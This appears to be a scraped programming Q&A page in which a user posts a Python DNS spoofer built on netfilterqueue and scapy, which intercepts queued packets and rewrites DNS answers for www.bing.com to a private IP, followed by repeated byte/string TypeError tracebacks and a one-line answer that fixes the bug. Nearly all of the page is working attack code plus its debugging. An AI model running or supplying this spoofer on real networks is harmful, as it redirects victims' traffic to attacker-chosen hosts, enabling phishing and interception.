import netfilterqueue import scapy.all as scapy
def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.DNSRR):
qname = scapy_packet[scapy.DNSQR].qname
website = 'www.bing.com'
if website in qname:
print("[+] Spoofing ")
answer = scapy.DNSRR(rrname=qname, rdata="10.0.2.12")
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].ancount = 1
del scapy_packet[scapy.IP].len
del scapy_packet[scapy.IP].chksum
del scapy_packet[scapy.UDP].len
del scapy_packet[scapy.UDP].chksum
packet.set_payload(str(scapy_packet))
packet.accept()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()
Exception ignored in: 'netfilterqueue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' Exception ignored in: 'netfilterqueue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' Exception ignored in: 'netfilterqueue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' Exception ignored in: 'netfilterqueue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' Exception ignored in: 'netfilter queue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' Exception ignored in: 'netfilterqueue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' Exception ignored in: 'netfilterqueue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' Exception ignored in: 'netfilterqueue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' ^CTraceback (most recent call last): File "dns_spoofer.py", line 25, in queue.run() KeyboardInterrupt
Try website = b'www.bing.com'
. The b
makes it a byte literal.
The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.